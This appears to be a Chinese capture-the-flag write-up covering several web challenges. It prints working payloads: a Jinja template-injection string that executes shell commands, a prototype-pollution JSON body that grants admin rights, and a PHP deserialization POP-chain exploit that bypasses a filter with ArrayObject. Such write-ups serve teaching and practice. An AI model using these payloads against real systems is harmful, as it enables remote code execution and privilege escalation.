easy_file

弱口令进入

文件上传,这里过滤了ph字符,但是在主页面中发现传参

file能够查看头像。我们尝试上传一个jpg

过滤了<?php

成功上传,尝试包含。


nest_js

还是弱口令

星愿信箱
是ssti,过滤了 {{}}

{%print(lipsum.__globals__.__builtins__['__import__']('os').popen('tac /flag ').read())%}
多重宇宙日记
原型链污染

随意注册一下
在这里发送json数据会进行更新

| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 
 | document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {
 event.preventDefault();
 const statusEl = document.getElementById('updateStatus');
 const currentSettingsEl = document.getElementById('currentSettings');
 statusEl.textContent = '正在更新...';
 
 const formData = new FormData(event.target);
 const settingsPayload = {};
 
 if (formData.get('theme')) settingsPayload.theme = formData.get('theme');
 if (formData.get('language')) settingsPayload.language = formData.get('language');
 
 
 try {
 const response = await fetch('/api/profile/update', {
 method: 'POST',
 headers: {
 'Content-Type': 'application/json',
 },
 body: JSON.stringify({ settings: settingsPayload })
 });
 const result = await response.json();
 if (response.ok) {
 statusEl.textContent = '成功: ' + result.message;
 currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
 
 setTimeout(() => window.location.reload(), 1000);
 } else {
 statusEl.textContent = '错误: ' + result.message;
 }
 } catch (error) {
 statusEl.textContent = '请求失败: ' + error.toString();
 }
 });
 
 
 async function sendRawJson() {
 const rawJson = document.getElementById('rawJsonSettings').value;
 const statusEl = document.getElementById('rawJsonStatus');
 const currentSettingsEl = document.getElementById('currentSettings');
 statusEl.textContent = '正在发送...';
 try {
 const parsedJson = JSON.parse(rawJson);
 const response = await fetch('/api/profile/update', {
 method: 'POST',
 headers: {
 'Content-Type': 'application/json',
 },
 body: JSON.stringify(parsedJson)
 });
 const result = await response.json();
 if (response.ok) {
 statusEl.textContent = '成功: ' + result.message;
 currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);
 
 setTimeout(() => window.location.reload(), 1000);
 } else {
 statusEl.textContent = '错误: ' + result.message;
 }
 } catch (error) {
 statusEl.textContent = '请求失败或JSON无效: ' + error.toString();
 }
 }
 
 | 
通过前端js源码发现,在settings下设置原型中的isAdmin 为 true即可
| 1
 | {"settings":{"__proto__":{"isAdmin":true}}}
 | 

发送之后,导航栏会出现一个新的选项。


得到flag。
easy_signin
进入页面是403,进行目录扫描 

有一个login.php

说参数不完整.
访问login.html

这里有一个api.js


可以包含。读当前文件file:///var/www/html/api/sys/urlcode.php

有一个php文件,尝试访问

直接访问即可。
君の名は
考察点为:简单php魔术方法
匿名函数如果没有设置返回值,可以通过调用生成的函数名执行其中的代码。匿名函数名会被设置为\00lambda_%d ,其中%d是递增的,但存在最大长度,如果达到最大长度那么会刷新为1.
反射方法调用匿名函数:ReflectionFuntion::invoke() 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 
 |  <?phphighlight_file(__FILE__);
 error_reporting(0);
 create_function("", 'die(`/readflag`);');
 class Taki
 {
 private $musubi;
 private $magic;
 public function __unserialize(array $data)
 {
 $this->musubi = $data['musubi'];
 $this->magic = $data['magic'];
 return ($this->musubi)();
 }
 public function __call($func,$args){
 (new $args[0]($args[1]))->{$this->magic}();
 }
 }
 
 class Mitsuha
 {
 private $memory;
 private $thread;
 public function __invoke()
 {
 return $this->memory.$this->thread;
 }
 }
 
 class KatawareDoki
 {
 private $soul;
 private $kuchikamizake;
 private $name;
 
 public function __toString()
 {
 ($this->soul)->flag($this->kuchikamizake,$this->name);
 return "call error!no flag!";
 }
 }
 
 $Litctf2025 = $_POST['Litctf2025'];
 if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
 unserialize($Litctf2025);
 }else{
 echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
 }
 
 | 
首先第一个正则检测O开头,这里可以使用C绕过,其次由于此题目php版本较高,所以对属性修饰符不敏感,可以把private修改为public
那么先来分析链子。
首先当我们传入参数后会执行unserialize函数,那么会调用Taki::__unserialize,在这个函数中可以利用($this->musubi)();,将musubi设置为Mitsuha,就会调用Mitsuha::invoke,然后由于$this->memory.$this->thread;进行字符串拼接,此时让thread为 new KatawareDoki() 即可调用到 KatawareDoki::__toString。然后通过此函数中不存在的函数flag 调用到 Taki::__call,new 一个ReflectionFunction函数进行调用到匿名函数。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 
 | <?php
 class Taki
 {
 public $musubi;
 public $magic = "invoke";
 
 }
 
 class Mitsuha
 {
 public $memory;
 public $thread;
 
 }
 
 class KatawareDoki
 {
 public $soul;
 public $kuchikamizake = "ReflectionFunction";
 public $name = "\00lambda_1";
 
 }
 
 $a = new Taki();
 
 $a->musubi = new Mitsuha();
 $a->musubi->thread = new KatawareDoki();
 $a->musubi->thread->soul = $a;
 
 
 $payload = new ArrayObject($a);
 echo urlencode(serialize($payload));
 
 
 | 
